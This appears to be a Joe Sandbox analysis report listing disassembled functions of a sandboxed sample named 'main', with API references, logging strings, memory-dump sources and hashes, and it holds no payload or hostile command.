Opcode ID: 8e0882bfb16548fdbf9dfd9db4ecb549daa1a64d832ac2d375aca87d32d6b52b
Instruction ID: eca0ce0b99744f2f8c43a8dff48bf8f54c361dace6abfb9524bbc3a63872c1fe
Opcode Fuzzy Hash: 8e0882bfb16548fdbf9dfd9db4ecb549daa1a64d832ac2d375aca87d32d6b52b
Instruction Fuzzy Hash: 25217C32A0CB42C1EB208F5DE880169A3A0FB56BD4B145176DF4D877A4DF3CD941C700

Function 00007FF8B9151780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B91517B9
LeaveCriticalSection.KERNEL32 ref: 00007FF8B915183B

Strings

ebus_dispatch, xrefs: 00007FF8B915180A
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8B9151811

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: f8d29101610d8f76ac1ed4feefd51e892c0e55ef3eadb0d75f62bac78426d285
Instruction ID: 90a9f288c0f04b3fdc422082309e99f4dc68bd75de7765265834ecdc89b1abc8
Opcode Fuzzy Hash: f8d29101610d8f76ac1ed4feefd51e892c0e55ef3eadb0d75f62bac78426d285
Instruction Fuzzy Hash: D5216D32A09AC286EB228F19F85016967A4FB44BD4F548135DF8E477A8DF3CE881E700

Function 00007FF8B918EE60 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B918EE99
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918EF1B

Strings

[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8B918EEF1
ebus_dispatch, xrefs: 00007FF8B918EEEA

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 6ceb723587c1d552a552b3ca08934bf7bc6d823551b69239d98c8e8180dbb2b5
Instruction ID: 81c6790ab38e76af12fee2b21d678a56249cff04711593347faecb4257a60471
Opcode Fuzzy Hash: 6ceb723587c1d552a552b3ca08934bf7bc6d823551b69239d98c8e8180dbb2b5
Instruction Fuzzy Hash: 53212C32A08AC282E755DF19E88017867A4FB45BD4B544135DB9D87768DF3CE945E700

Function 00007FF8BFB89A40 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB89A79
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB89AFB

Strings

ebus_dispatch, xrefs: 00007FF8BFB89ACA
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8BFB89AD1

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 5f07f7dd6c7a8ca443123c93aa7333b3264cb797661900b59e1563f9beebcf4d
Instruction ID: dc023329bf1bd25f25b0379eca4aa750102418e81bad979789e348e1a7740482
Opcode Fuzzy Hash: 5f07f7dd6c7a8ca443123c93aa7333b3264cb797661900b59e1563f9beebcf4d
Instruction Fuzzy Hash: 36214F32A18A4685EB148F9DE88016977A0FB84FD8F548135DF8D47BA8DF3CD841C700

Function 00007FF6BE0327ED Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 32b159213577b3bd10ca3da26adaf1b043a79799695e5198cb6d2c401548963a
Instruction ID: 72424358975d12ac6c16a1493a684aaebbb0f0c82187ee8eb3da9ca974babeee
Opcode Fuzzy Hash: 32b159213577b3bd10ca3da26adaf1b043a79799695e5198cb6d2c401548963a
Instruction Fuzzy Hash: 42F08227B0860302F9729A1CB851BB911516F68764E4D4532EF4D8F7C1EE3DA8A7D300

Function 00007FF6BE0327F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ab229aab2030bd151749b27b349bc1024d95e54e5932f5e3971a27717ef95fb5
Instruction ID: 10dac0d2e907328ef49c1ebb450a079539c014521aec220a3f34d1ccac45a83f
Opcode Fuzzy Hash: ab229aab2030bd151749b27b349bc1024d95e54e5932f5e3971a27717ef95fb5
Instruction Fuzzy Hash: 16F08227B0860302F9729A1CB851BB911516F68765E4D4532EF4D8F7C1EE3DA8A7D300

Function 00007FF6BE032801 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: c6e1b0db9050e454bb62472ed409b0055bbd509787aa07c3d44467dc1f627cec
Instruction ID: 976ee17106ca19f52d58e5ff4c49550bd5ed7dccd7020a6ebe2cadd585bf0887
Opcode Fuzzy Hash: c6e1b0db9050e454bb62472ed409b0055bbd509787aa07c3d44467dc1f627cec
Instruction Fuzzy Hash: 78F08227B0860302F9729A1CB851BB911516F68764E4D4532EF5D8F7C1EE3DA8A7D300

Function 00007FF6BE0326AB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 11597d17764ae774a5a2afb7a5df634d5478987383f5b5c3f7417a1326957474
Instruction ID: 4ae5250ccc9fa443211308ce9d61bad0306ae04f20010c24151a2af6b8f8b3ee
Opcode Fuzzy Hash: 11597d17764ae774a5a2afb7a5df634d5478987383f5b5c3f7417a1326957474
Instruction Fuzzy Hash: 22F08227B0860302F9729A0CB951BB911516F68764F494532EF598F2D1EE3DA8A7C300

Function 00007FF6BE0326B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a49be4b29de6a054d2a070e4a4779da211405afb78a1b38434590739e0465e8c
Instruction ID: 4e55e071187cbdc7a60e37831e777e5b4e1ead889f6f0ce7235afdca68deaa92
Opcode Fuzzy Hash: a49be4b29de6a054d2a070e4a4779da211405afb78a1b38434590739e0465e8c
Instruction Fuzzy Hash: FDF08227B0860342F9729A0CB951BB911516F68764F494532EF4D8F2D1EE3DA8A7C300

Function 00007FF6BE03269D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 8f18a1f2469a7fdb70db7ffee0d0267731bb2832d5fa1a4fcaee2b2d363ffd15
Instruction ID: 90258c9353a4b218ad131c44c98bd254c6945d4ad3f33b282c6c31bd4e3a35f6
Opcode Fuzzy Hash: 8f18a1f2469a7fdb70db7ffee0d0267731bb2832d5fa1a4fcaee2b2d363ffd15
Instruction Fuzzy Hash: E0F08227B0860302F9729A0CB951BB911516F68764F494532EF4D8F2D1EE3DA8A7C300

Function 00007FF6BE0326A4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 256f824a469a1a7e893449885ed68b795ebefb460f9cffb866b127dcdca9c9a7
Instruction ID: 610aaed009db09e7776aa7e3c3cfc7a5c902dccaf97f922d289943e1ff82dcb6
Opcode Fuzzy Hash: 256f824a469a1a7e893449885ed68b795ebefb460f9cffb866b127dcdca9c9a7
Instruction Fuzzy Hash: 97F08227B0860302F9729A0CB951BB911516F68765F494532EF498F2D1EE3DA8A7C300

Function 00007FF6BE0326B9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 25c0fbb992ff6903f07dba86b08ebbf347e0dd2b2e2bfd93bd002d6724a7c21e
Instruction ID: bd15ec581227dc7e266ffb6788d381d5ddface8b9e7b2f888aa9694a6d8ff400
Opcode Fuzzy Hash: 25c0fbb992ff6903f07dba86b08ebbf347e0dd2b2e2bfd93bd002d6724a7c21e
Instruction Fuzzy Hash: 4DF08227B0860302F9729A0CB951BB911516F68764F494532EF49CF6D1EE3DA8A7C300

Function 00007FF6BE0326EB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a49be4b29de6a054d2a070e4a4779da211405afb78a1b38434590739e0465e8c
Instruction ID: 4e55e071187cbdc7a60e37831e777e5b4e1ead889f6f0ce7235afdca68deaa92
Opcode Fuzzy Hash: a49be4b29de6a054d2a070e4a4779da211405afb78a1b38434590739e0465e8c
Instruction Fuzzy Hash: FDF08227B0860342F9729A0CB951BB911516F68764F494532EF4D8F2D1EE3DA8A7C300

Function 00007FF6BE0326F2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 25c0fbb992ff6903f07dba86b08ebbf347e0dd2b2e2bfd93bd002d6724a7c21e
Instruction ID: bd15ec581227dc7e266ffb6788d381d5ddface8b9e7b2f888aa9694a6d8ff400
Opcode Fuzzy Hash: 25c0fbb992ff6903f07dba86b08ebbf347e0dd2b2e2bfd93bd002d6724a7c21e
Instruction Fuzzy Hash: 4DF08227B0860302F9729A0CB951BB911516F68764F494532EF49CF6D1EE3DA8A7C300

Function 00007FF6BE0326D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 8f18a1f2469a7fdb70db7ffee0d0267731bb2832d5fa1a4fcaee2b2d363ffd15
Instruction ID: 90258c9353a4b218ad131c44c98bd254c6945d4ad3f33b282c6c31bd4e3a35f6
Opcode Fuzzy Hash: 8f18a1f2469a7fdb70db7ffee0d0267731bb2832d5fa1a4fcaee2b2d363ffd15
Instruction Fuzzy Hash: E0F08227B0860302F9729A0CB951BB911516F68764F494532EF4D8F2D1EE3DA8A7C300

Function 00007FF6BE0326DD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 256f824a469a1a7e893449885ed68b795ebefb460f9cffb866b127dcdca9c9a7
Instruction ID: 610aaed009db09e7776aa7e3c3cfc7a5c902dccaf97f922d289943e1ff82dcb6
Opcode Fuzzy Hash: 256f824a469a1a7e893449885ed68b795ebefb460f9cffb866b127dcdca9c9a7
Instruction Fuzzy Hash: 97F08227B0860302F9729A0CB951BB911516F68765F494532EF498F2D1EE3DA8A7C300

Function 00007FF6BE0326E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715

Strings

fs_file_read, xrefs: 00007FF6BE032752
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 11597d17764ae774a5a2afb7a5df634d5478987383f5b5c3f7417a1326957474
Instruction ID: 4ae5250ccc9fa443211308ce9d61bad0306ae04f20010c24151a2af6b8f8b3ee
Opcode Fuzzy Hash: 11597d17764ae774a5a2afb7a5df634d5478987383f5b5c3f7417a1326957474
Instruction Fuzzy Hash: 22F08227B0860302F9729A0CB951BB911516F68764F494532EF598F2D1EE3DA8A7C300

Function 00007FF6BE035827 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF6BE0358CD

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_get_value, xrefs: 00007FF6BE035916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: c0cddd2865619a54ec6232293f106fb97064ae862a9b86bbce8474b1505a66a2
Instruction ID: 7adb13e5175edf97f57194d81c776f465c7b082735b1b6b003a607f7466e37db
